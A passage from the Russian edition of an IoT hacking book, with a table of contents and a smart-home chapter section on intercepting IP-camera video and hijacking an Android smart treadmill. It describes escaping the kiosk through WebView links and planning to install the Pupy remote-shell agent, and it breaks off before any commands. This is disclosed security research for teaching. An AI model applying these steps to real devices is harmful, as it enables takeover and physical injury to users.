- •От издательства
- •О техническом обозревателе
- •О соавторах
- •Об авторах
- •Вступительное слово
- •Благодарности
- •Предисловие
- •Почему важна защита интернета вещей?
- •Чем защита интернета вещей отличается от традиционной ИТ-защиты?
- •Законы хакинга интернета вещей
- •Заключение
- •Моделирование угроз для интернета вещей
- •Схема моделирования угроз
- •Определение архитектуры
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Использование деревьев атак для обнаружения угроз
- •Распространенные угрозы интернета вещей
- •Атаки с подавлением сигнала
- •Атаки с воспроизведением
- •Атаки со взломом настроек
- •Клонирование узла
- •Заключение
- •Пассивная разведка
- •Физический или аппаратный уровень
- •Периферийные интерфейсы
- •Среда загрузки
- •Блокировки
- •Предотвращение и обнаружение несанкционированного доступа
- •Прошивка
- •Интерфейсы отладки
- •Физическая устойчивость
- •Разведка
- •Атаки на сетевой протокол и службы
- •Тестирование беспроводного протокола
- •Оценка веб-приложений
- •Картирование приложений
- •Элементы управления на стороне клиента
- •Аутентификация
- •Управление сеансом
- •Проверка ввода
- •Логические ошибки
- •Сервер приложений
- •Исследование конфигурации хоста
- •Учетные записи пользователей
- •Привилегии учетной записи
- •Уровни патчей
- •Удаленное обслуживание
- •Управление доступом к файловой системе
- •Шифрование данных
- •Неверная конфигурация сервера
- •Мобильное приложение и облачное тестирование
- •Заключение
- •4. Оценка сети
- •Переход в сеть IoT
- •VLAN и сетевые коммутаторы
- •Спуфинг коммутатора
- •Двойное тегирование
- •Имитация устройств VoIP
- •Идентификация устройств IoT в сети
- •Обнаружение паролей службами снятия отпечатков
- •Атаки MQTT
- •Настройка тестовой среды
- •Написание модуля MQTT Authentication-Cracking в Ncrack
- •Тестирование модуля Ncrack на соответствие MQTT
- •Заключение
- •5. Анализ сетевых протоколов
- •Проверка сетевых протоколов
- •Сбор информации
- •Анализ
- •Создание прототипов и разработка инструментов
- •Работа с Lua
- •Общие сведения о протоколе DICOM
- •Генерация трафика DICOM
- •Включение Lua в Wireshark
- •Определение диссектора
- •Определение основной функции диссектора
- •Завершение диссектора
- •Создание диссектора C-ECHO
- •Начальная загрузка данных функции диссектора
- •Анализ полей переменной длины
- •Тестирование диссектора
- •Разработка сканера служб DICOM для механизма сценариев Nmap
- •Написание библиотеки сценариев Nmap для DICOM
- •Коды и константы DICOM
- •Написание функций создания и уничтожения сокетов
- •Создание заголовков пакетов DICOM
- •Написание запросов контекстов сообщений A-ASSOCIATE
- •Чтение аргументов скрипта в движке сценариев Nmap
- •Определение структуры запроса A-ASSOCIATE
- •Анализ ответов A-ASSOCIATE
- •Создание окончательного сценария
- •Заключение
- •6. Использование сети с нулевой конфигурацией
- •Использование UPnP
- •Стек UPnP
- •Распространенные уязвимости UPnP
- •Злоупотребление UPnP через интерфейсы WAN
- •Другие атаки UPnP
- •Использование mDNS и DNS-SD
- •Как работает mDNS
- •Как работает DNS-SD
- •Проведение разведки с помощью mDNS и DNS-SD
- •Злоупотребление на этапе проверки mDNS
- •Атаки «человек посередине» на mDNS и DNS-SD
- •Использование WS-Discovery
- •Как работает WS-Discovery
- •Подделка камер в вашей сети
- •Создание атак WS-Discovery
- •Заключение
- •UART
- •Аппаратные средства для связи с UART
- •Как найти порты UART
- •Определение скорости передачи UART
- •JTAG и SWD
- •JTAG
- •Как работает SWD
- •Аппаратные средства для взаимодействия с JTAG и SWD
- •Идентификация контактов JTAG
- •Взлом устройства с помощью UART и SWD
- •Целевое устройство STM32F103C8T6 (Black Pill)
- •Настройка среды отладки
- •Кодирование целевой программы на Arduino
- •Отладка целевого устройства
- •Заключение
- •Как работает SPI
- •Как работает I2C
- •Настройка архитектуры шины I2C типа «контроллер–периферия»
- •Заключение
- •9. Взлом прошивки
- •Прошивка и операционные системы
- •Получение доступа к микропрограмме
- •Взлом маршрутизатора Wi-Fi
- •Извлечение файловой системы
- •Статический анализ содержимого файловой системы
- •Эмуляция прошивки
- •Динамический анализ
- •Внедрение бэкдора в прошивку
- •Нацеливание на механизмы обновления микропрограмм
- •Компиляция и установка
- •Код клиента
- •Запуск службы обновления
- •Уязвимости служб обновления микропрограмм
- •Заключение
- •10. Радио ближнего действия: взлом rFID
- •Радиочастотные диапазоны
- •Пассивные и активные технологии RFID
- •Структура меток RFID
- •Низкочастотные метки RFID
- •Высокочастотные RFID-метки
- •Настройка Proxmark3
- •Обновление Proxmark3
- •Клонирование низкочастотных меток
- •Клонирование высокочастотных меток
- •Имитация RFID-метки
- •Изменение содержимого RFID-меток
- •Команды RAW для небрендированных или некоммерческих RFID-тегов
- •Подслушивание обмена данными между меткой и считывателем
- •Извлечение ключа сектора из перехваченного трафика
- •Атака путем подделки RFID
- •Автоматизация RFID-атак с помощью механизма скриптов Proxmark3
- •Пользовательские сценарии использования RFID-фаззинга
- •Заключение
- •11. Bluetooth Low Energy (BLE)
- •Как работает BLE
- •Необходимое оборудование BLE
- •BlueZ
- •Настройка интерфейсов BLE
- •Обнаружение устройств и перечисление характеристик
- •GATTTool
- •Bettercap
- •Взлом BLE
- •Настройка BLE CTF Infinity
- •Приступаем к работе
- •Заключение
- •12. Радиоканалы средней дальности: взлом Wi-Fi
- •Как работает Wi-Fi
- •Атаки Wi-Fi на беспроводные клиенты
- •Деаутентификация и атаки «отказ в обслуживании»
- •Атаки на Wi-Fi путем подключения
- •Wi-Fi Direct
- •Атаки на точки доступа Wi-Fi
- •Взлом WPA/WPA2
- •Взлом WPA/WPA2 Enterprise для сбора учетных данных
- •Методология тестирования
- •Заключение
- •13. Радио дальнего действия: LPWAN
- •Захват трафика LoRa
- •Настройка платы разработки Heltec LoRa 32
- •Настройка LoStik
- •Превращаем USB-устройство CatWAN в сниффер LoRa
- •Декодирование протокола LoRaWAN
- •Формат пакета LoRaWAN
- •Присоединение к сетям LoRaWAN
- •Атаки на LoRaWAN
- •Атаки с заменой битов
- •Генерация ключей и управление ими
- •Атаки воспроизведения
- •Подслушивание
- •Подмена ACK
- •Атаки, специфичные для приложений
- •Заключение
- •14. Взлом мобильных приложений
- •Разбивка архитектуры на компоненты
- •Выявление угроз
- •Защита данных и зашифрованная файловая система
- •Подписи приложений
- •Аутентификация пользователя
- •Управление изолированными аппаратными компонентами и ключами
- •Проверенная и безопасная загрузка
- •Анализ приложений iOS
- •Подготовка среды тестирования
- •Статический анализ
- •Динамический анализ
- •Атаки путем инъекции
- •Хранилище связки ключей
- •Реверс-инжиниринг двоичного кода
- •Перехват и изучение сетевого трафика
- •Анализ приложений Android
- •Подготовка тестовой среды
- •Извлечение файла APK
- •Статический анализ
- •Обратная конвертация двоичных исполняемых файлов
- •Динамический анализ
- •Перехват и анализ сетевого трафика
- •Утечки по побочным каналам
- •Заключение
- •15. Взлом умного дома
- •Физический доступ в здание
- •Клонирование RFID-метки умного дверного замка
- •Глушение беспроводной сигнализации
- •Воспроизведение потока с IP-камеры
- •Общие сведения о протоколах потоковой передачи
- •Анализ сетевого трафика IP-камеры
- •Извлечение видеопотока
- •Атака на умную беговую дорожку
- •Перехват управления интеллектуальной беговой дорожкой на базе Android
- •Заключение
- •Инструменты для взлома интернета вещей
- •Предметный указатель
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
После запуска этой команды вы должны увидеть видеоканалwза- |
|
|
|
|
|
m |
||||
w Click |
|
|
|
|
|
o |
||||
|
w |
|
|
|
|
|
|
|
|
|
хваченной камеры.Можете посмотреть видео,демонстрирующее этуdf-x chan |
.c |
|
||||||||
|
. |
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
e |
|
методику, на веб-сайте этой книги по адресу https://nostarch.com/prac- tical-iot-hacking/.
Существуют способы безопасной передачи видеопотоков, которые предотвратят атаки типа «человек посередине», но в настоящее вре- мя их поддерживают лишь немногие устройства. Одним из решений может быть использование нового протокола Secure RTP (SRTP), ко- торый может обеспечить шифрование, аутентификацию сообщений и целостность, но обратите внимание, что эти функции являются необязательными и могут быть отключены. Иногда их отключают, чтобы избежатьнакладных расходов на шифрование,поскольку мно- гие встроенные устройства не имеют необходимой вычислительной мощности для его поддержки.Существуюттакже способы отдельного шифрования RTP, как описано в RFC 7201. Среди них использование
IPsec, RTP через TLS через TCP или RTP через Datagram TLS (DTLS).
Атака на умную беговую дорожку
Как злоумышленник, вы теперь имеете неограниченный доступ ко всем помещениям в доме и можете проверить, попадаете ли вы в поле зрения камер видеонаблюдения,воспроизведя видео.Следую- щий шаг – использование вашего физического доступа для дальней- шихатакнадругиеинтеллектуальныеустройствасцельюизвлечения конфиденциальных данных или даже для выполнения ими нежела- тельных действий.Что,если по вашей прихоти эти умные устройства ополчатся против своего владельца, да так, что внешне это будет по- хоже на несчастный случай?
Хороший пример умных домашних устройств, которые вы можете использоватьдлятаких злонамеренных целей,–техника из категории «фитнес и здоровье», например всевозможные приборы, отслежива- ющие движения, электрические зубные щетки, умные весы и тре- нажеры. Эти устройства могут собирать конфиденциальные данные о действиях пользователя в режиме реального времени. Некоторые из них также могут повлиять на здоровье пользователя. Помимо про- чего, устройства могут быть оснащены высококачественными датчи- ками, предназначенными для определения состояния пользователя; системы отслеживания активности отслеживают его мышечную дея- тельность; в облако могут записываться регулярно фиксируемые ме- дицинские данные; благодаря подключению к интернету допускается общение с пользователями аналогичных устройств в режиме реаль- ноговремени,авоспроизведениемультимедиапревращаетфитнес-у- стройство в современную информационно-развлекательную систему.
Вэтомразделемыопишематакунаустройство,котороеобъединяет всеэтиудивительныефункции:этоумнаябеговаядорожка(рис.15.12).
Умные беговыедорожки–одно из самых замечательных устройств для тренировки дома или в спортзале, но, если оно вышло из-под контроля , вы рискуете получить серьезные травмы.
Взлом умного дома 443
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
|
m |
||||
|
w |
|
|
|
|
Воспроизведениеo |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
-xchaмультимедиа |
||||||
|
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
|
|
|
Отслеживание действий
Соцсети
Рис.15.12.Современная интеллектуальная беговая дорожка
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
Индивидуальные |
|
|
df |
|
|
n |
e |
|
|||
|
|
|
-x cha |
|
|
|
|
тренировки
Взаимодействие с другими пользователями в реальном времени
Экранные кнопки
Атака, описанная в этом разделе, основана на презентации, сде- ланной на конференции по безопасности интернета вещей одним из авторов этой книги, Иоаннисом Стаисом, и Димитрисом Валсамара- сом (Dimitris Valsamaras) в 2019 году. По соображениям безопасности
мы не разглашаем название поставщика интеллектуальной беговой дорожки и точную модель устройства. Хотя поставщик очень бы- стро решил выявленные проблемы, вероятно, что некоторые из этих устройств до сих пор не обновлены. Так из иначе, проблемы, кото- рыемыобнаружили,–этоклассическиеуязвимости,характерныедля интеллектуальных устройств; и они наглядно показывают,что может произойти с устройством интернета вещей в современном умном доме.
Умные беговые дорожки и операционная система
Android
Многие умные беговые дорожки используют операционную систему Android, которой оснащено более миллиарда телефонов, планшетов, часов ителевизоров.Используя устройства под управлениемAndroid, вы автоматически получаете значительные преимущества: специа- лизированные библиотеки и ресурсы для быстрой разработки при- ложений и мобильные приложения, доступные в Google Play Store, которые можно напрямую интегрировать в продукт. Кроме того, вам предоставлена поддержка для расширенной системы устройств всех форм и размеров, включая смартфоны, планшеты (AOSP), автомоби-
ли (Android Auto), умные часы (Android Wear), телевизоры (Android TV), встроенные системы (Android Things), а также обширная офи- циальная документация, которая поставляется с онлайн-курсами
444 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
|
|
X |
|
|
|
|
|
|||
|
|
|
|
- |
|
|
|
|
|
d |
|
||
|
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
и учебными материалами для разработчиков. Кроме того, многие |
|
|
|
|
|
m |
|||||||
|
|
|
w Click |
|
|
|
|
|
|
||||
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
производители и продавцы оригинального оборудования могут преd-f-x chan |
.c |
|
|||||||||||
|
|
|
|
. |
|
|
|
|
|
|
|||
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
|
доставлять совместимые аппаратные компоненты. |
|
|
|
|
|
|
|
|
|
|
|
|
|
Новсехорошееимеетсвоюцену:ОСAndroidрискуетстатьслишком |
|
|
|
|
|
|
|||||||
универсальной. Она обеспечивает гораздо больше функциональных |
|
|
|
|
|
|
|||||||
возможностей,чемтребуется рядовому потребителю,увеличивая об- |
|
|
|
|
|
|
|||||||
щую поверхность атаки на устройства. Часто поставщики допускают |
|
|
|
|
|
|
|||||||
установку пользовательских приложений и программного обеспече- |
|
|
|
|
|
|
|||||||
ния, для которых отсутствует надлежащий аудит безопасности |
, и об- |
|
|
|
|
|
|
||||||
ходят существующие средства управления безопасностью |
платфор- |
|
|
|
|
|
|
||||||
мы, дабы реализовать основные функции своего продукта, такие как |
|
|
|
|
|
|
|||||||
управление оборудованием (см. пример на рис. 15.13). |
|
|
|
|
|
|
|
|
|
|
|
|
|
Для управления средой, предоставляемой платформой, поставщи- |
|
|
|
|
|
|
|||||||
ки обычно используют один из двух возможных подходов.Они могут |
|
|
|
|
|
|
|||||||
интегрировать свой продукт с программным решением для управ- |
|
|
|
|
|
|
|||||||
ления мобильными устройствами (Mobile Device Management, MDM). |
|
|
|
|
|
|
|||||||
MDM – это набор технологий, которые можно использовать для уда- |
|
|
|
|
|
|
|||||||
ленного администрирования развертывания, безопасности |
, аудита |
|
|
|
|
|
|
и применения политик мобильных устройств. В противном случае они могут создать свою собственную платформу на основе Android Open Source Project (AOSP).
AOSP можно бесплатно загрузить, настроить и установить на лю- бое поддерживаемое устройство. Оба решения предлагают множе- ство способов ограничить функции, предоставляемые платформой, и предоставить пользователям доступ только к некоторым функ циям.
Пользовательский интерфейс и приложения производителя
Общая платформа
(например,Android OS)
ПО производителя для управления оборудованием
Оборудование устройства
Рис.15.13.Стек программного обеспечения умной беговой дорожки
Взлом умного дома 445
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
В рассматриваемом здесь устройстве используется настроенная |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
df-x chan |
|
o |
|
|||||
платформа на основе AOSP, оснащенная всеми необходимыми при- |
. |
.c |
|
||||||||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
e |
|
ложениями.
Перехват управления интеллектуальной беговой дорожкой на базе Android
В этом разделе мы рассмотрим атаку на интеллектуальную беговую дорожку, которая позволила нам удаленно контролировать скорость и наклон устройства.
Обход ограничений пользовательского интерфейса
Беговая дорожка настроена так, чтобы пользователь имел доступ только к избранным услугам и функциям. Например, он может запу- стить дорожку, выбрать конкретное упражнение и посмотреть теле- визор или послушать радиопередачу. Также можно пройти аутенти- фикацию на облачной платформе, чтобы отслеживать свой прогресс. Обойдя эти ограничения,мы можем установить службы для управле- ния устройством.
Злоумышленники, которые хотят обойти ограничения пользова- тельского интерфейса, обычно нацелены на экранные формы аутен- тификации и регистрации.Причина втом,что в большинстве случаев для этого требуется интеграция с браузером – либо для выполнения действийпоаутентификации,либодляпредоставлениядополнитель- ной информации. Эта интеграция обычно реализуется с использова- нием компонентов,предоставляемых платформойAndroid,таких как объекты WebView. WebView – функция, которая позволяет разработ- чикам отображать текст,данные и веб-контент как часть интерфейса приложения,нетребуядополнительного программного обеспечения. Несмотря на то что эта функция полезна для разработчиков, она вы- полняетмножествоопераций,которыенелегкозащитить,и,какслед- ствие, часто становится мишенью для злоумышленников.
Внашем случае мы можем использовать следующий процесс для обхода ограничений пользовательского интерфейса.Сначала нажми- те кнопку Create New Account (Создать учетную запись) на экране устройства. Должен появиться новый интерфейс, запрашивающий личные данные пользователя. Этот интерфейс содержит ссылку на политику конфиденциальности – файл, представленный в WebView (см. рис. 15.14).
Вполитике конфиденциальности есть и другие ссылки, например на политику в отношении файлов cookie (рис. 15.15).
К счастью, этот файл политики содержит внешние ссылки на ре- сурсы, размещенные на удаленных серверах, например те, которые отображаются в виде значка на верхней панели на рис. 15.16.
Выбрав ссылку,злоумышленник может перейти на сайт поставщи- ка и получить контент, к которому у него не было доступа раньше, например меню сайта, изображения, видео и последние новости.
446 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.15.14.Интерфейс регистрации со ссылками на политику конфиденциальности
Рис.15.15.WebView,отображающий локальный файл политики конфиденциальности
Последний шаг–попытаться выйти из облачной службы и посетить любой пользовательский веб-сайт. Наиболее распространенными це- лямиобычноявляютсякнопкипоискавнешнихсайтов,которыепока- заны на рис. 15.17, поскольку они позволяют получить доступ к любо- мудругомусайту,простовыполнивпоискпоегоназваниюилиадресу.
В нашем случае на сайте поставщика интегрирована поисковая си- стема Google, поэтому посетители сайта могут выполнять локальный поиск в содержимом веб-сайта. Злоумышленник может щелкнуть небольшой значок Google в верхнем левом углу окна экрана, чтобы перейтинастраницупоискаGoogle.Теперьмыможемперейтиналю- бой сайт, набрав имя сайта в поисковой системе.
Взлом умного дома 447
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.15.16.Ссылка на внешний сайт на странице файлов cookie
Рис.15.17.Внешний сайт,содержащий ссылки на поисковую систему Google
В качестве альтернативы злоумышленники могут воспользоваться функцией входа в систему через Facebook (рис.15.18),потому что при этом открывается новое окно браузера.
Щелкнув логотип Facebook, показанный на рис. 15.19, мы можем выйти из WebView в новое окно браузера, которое позволяет нам по- лучить доступ к строке URL-адреса и перейти на другие сайты.
448 Глава 15
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.15.18.Интерфейс аутентификации ссылается на Facebook
Рис.15.19.Всплывающее окно со ссылкой на внешний сайт
Попытка получитьудаленный доступ к оболочке
Имея доступ к другим сайтам, злоумышленник теперь может ис- пользовать свои возможности просмотра веб-страниц для перехо- да к удаленно размещенному исполняемому файлу приложения Android, а затем попытаться напрямую скачать и установить его на устройство. Мы попробуем установить на компьютер беговой дорож- ки приложение Android, которое предоставит нам удаленный доступ к оболочке беговой дорожки; приложение называется агентом Pupy (https://github.com/n1nj4sec/pupy/).
Взлом умного дома 449
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
Сначала нам нужно установить сервер Pupy в нашу систему. Ис- |
|
|
|
to |
|
|
|
|
|
||
|
|
|
|
|
|
|
